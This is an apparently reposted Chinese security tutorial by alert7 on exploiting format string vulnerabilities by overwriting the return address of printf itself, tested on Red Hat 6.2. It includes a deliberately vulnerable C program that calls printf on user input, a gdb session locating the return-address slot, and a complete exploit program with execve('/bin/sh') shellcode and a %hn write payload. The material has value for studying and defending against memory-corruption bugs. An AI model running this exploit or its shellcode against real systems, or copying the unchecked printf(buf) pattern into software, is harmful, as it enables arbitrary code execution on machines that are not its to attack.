登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 黑客教学 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

利用格式化串覆盖*printf()系列函数本身的返回地址
发表日期:2006-03-12作者:alert7[转贴] 出处:安全焦点  

利用格式化串覆盖*printf()系列函数本身的返回地址

作者:alert7 <mailto: alert7@netguard.com.cn
                     alert7@xfocus.org
             >

主页:    http://www.netguard.com.cn
    http://www.xfocus.org
    
时间: 2001-10-26

测试环境:linux redhat 6.2 kernel 2.2.14

★ 前言

在scut写的<<Exploiting Format String Vulnerabilities v1.2>>中列出了六种比较
通用的方法来获得控制权:

1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数指针
6. 覆盖jmpbuf's

在这里,不想讨论上面这些东西,请自行参考相关资料

但是有些时候,你只能覆盖0xbfff0000-0xbfffffff的地址空间,因为是format string
被程序做了限制,而程序又调用了exit(0),(也许你没有碰到过这样类似的漏洞程序,但我
碰到了,而且比这个要求还更苛刻:( ) 所以利用覆盖GOT、利用DTORS、利用C library hooks
这些技术都行不通了,因为这些地址以0x08打头(C library hooks是0x04打头)。覆盖main
返回地址也不行。那总该覆盖到点什么东西使我们的shellcode得到控制权吧。

★ 覆盖格式化函数自己的返回地址

一般的buffer overflow的情况下,是不可能覆盖到象*printf()这种glibc函数的返回地址的,
但是format string就给了我们机会,而且个人认为精确度会更高。
比如说printf(buf),就利用格式化串的buf来覆盖printf函数的返回地址。


★ 存在格式化字符串问题的程序

[alert7@redhat62 alert7]# cat vul.c

#include <stdio.h>
int main(int argc,char **argv)
{
char buf[10000];
bzero(buf,10000);
if (argc==2) {
strncpy(buf,argv[1],9999);
printf(buf);
}
}
[alert7@redhat62 alert7]# gcc -o vul vul.c -g


★ 精确定位几个数据

一查看垃圾数据个数(以4字节为单位)

[alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%p
aaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)
我们看到没有垃圾数据 X=0;如果不明白怎么回事,请查阅
<<Exploiting Format String Vulnerabilities >>

二查看format string 地址

[alert7@redhat62 alert7]# gdb vul -q
(gdb) disass main
Dump of assembler code for function main:
0x8048438 <main>:       push   %ebp
0x8048439 <main+1>:     mov    %esp,%ebp
0x804843b <main+3>:     sub    $0x2710,%esp
0x8048441 <main+9>:     push   $0x2710
0x8048446 <main+14>:    lea    0xffffd8f0(%ebp),%eax
0x804844c <main+20>:    push   %eax
0x804844d <main+21>:    call   0x8048364 <bzero>
0x8048452 <main+26>:    add    $0x8,%esp
0x8048455 <main+29>:    cmpl   $0x2,0x8(%ebp)
0x8048459 <main+33>:    jne    0x8048487 <main+79>
0x804845b <main+35>:    push   $0x270f
0x8048460 <main+40>:    mov    0xc(%ebp),%eax
0x8048463 <main+43>:    add    $0x4,%eax
0x8048466 <main+46>:    mov    (%eax),%edx
0x8048468 <main+48>:    push   %edx
0x8048469 <main+49>:    lea    0xffffd8f0(%ebp),%eax
0x804846f <main+55>:    push   %eax
0x8048470 <main+56>:    call   0x8048374 <strncpy>
0x8048475 <main+61>:    add    $0xc,%esp
0x8048478 <main+64>:    lea    0xffffd8f0(%ebp),%eax
0x804847e <main+70>:    push   %eax
0x804847f <main+71>:    call   0x8048354 <printf>
0x8048484 <main+76>:    add    $0x4,%esp
0x8048487 <main+79>:    leave
0x8048488 <main+80>:    ret
End of assembler dump.

(gdb) b * 0x804847f
Breakpoint 1 at 0x804847f: file vul.c, line 8.
(gdb) r aaaa
Starting program: /home/alert7/overflow/sploit/vul aaaa

Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8
8       printf(buf);

(gdb)  p &buf
$1 = (char (*)[10000]) 0xbfffd468
~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr

(gdb) i reg $eax $esp $ebp
eax            0xbfffd468       -1073752984
esp            0xbfffd464       -1073752988
ebp            0xbffffb78       -1073742984


(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0xbffffcbf      0xbfffd468      0x61616161      0x00000000

(gdb) si
0x8048354 in printf () at printf.c:26
26      printf.c: No such file or directory.

(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0x08048484      0xbfffd468      0x61616161      0x00000000
~~~~~~~~~~~~~~~~~^就这个地址,已经变成了0x08048484,就是该printf函数的返回地址,
所以我们也找到了printf函数返回地址存放的地址:0xbfffd460
其实0xbfffd464地址的内容就是push %eax下去的东西
0xbfffd460为该printf上下文的栈帧的EIP存放地址


三 计算printf函数返回地址存放的地址

现在来用公式表达一下printf函数返回地址存放的地址:(format string addr) -(X*4)-8
format string addr是可以暴力猜测的。X更是可以简单的得到,所以这个地址是很精确的。
当然不同的系统不同的格式化串等等都会导致*printf系列函数返回地址存放的地址不一样,需要
自行研究和纠正公式,这里只是个简单的演示,意在抛砖引玉。


★ 看看我们的利用程序

[alert7@redhat62 alert7]# cat exp.c
/*e*/
#include <stdlib.h>                                            
#include <unistd.h>                                            
                                                              
#define DEFAULT_OFFSET                    0                    
#define DEFAULT_ALIGNMENT                 0                    
#define DEFAULT_RETLOC                  0xbfffd468-0*4-8 //F-X*4-8
                          //F为格式化字符串地址
                          //X为垃圾的个数,X*4也就是
                          //从esp到F的长度

#define NOP                            0x90                    

char shellcode[] =                    
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
                                  
int main(int argc, char *argv[]) {                            
  char *ptr;                                      

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];                
  char buf1[5000];

  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr = retloc+80;
  printf("Using Shellcode address: 0x%x\n", shell_addr);
  
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>  0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
      
        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
    /*推荐构造格式化串的时候使用%hn*/
}

if ((SH1 )>(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
    {
    printf("不能用一个printf实现这种情况\n");
    }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./vul","vul",buf1, NULL,NULL);      
}

[alert7@redhat62 alert7]# gcc -o exp exp.c
[alert7@redhat62 alert7]# ./exp
    ......(省略了一些printf出来的乱信息)
               B隵1繤F
                      ?
                       骎
                         ?圬@丸?

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 利用格式化串覆盖*printf()系列函数本身的返回地址

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00191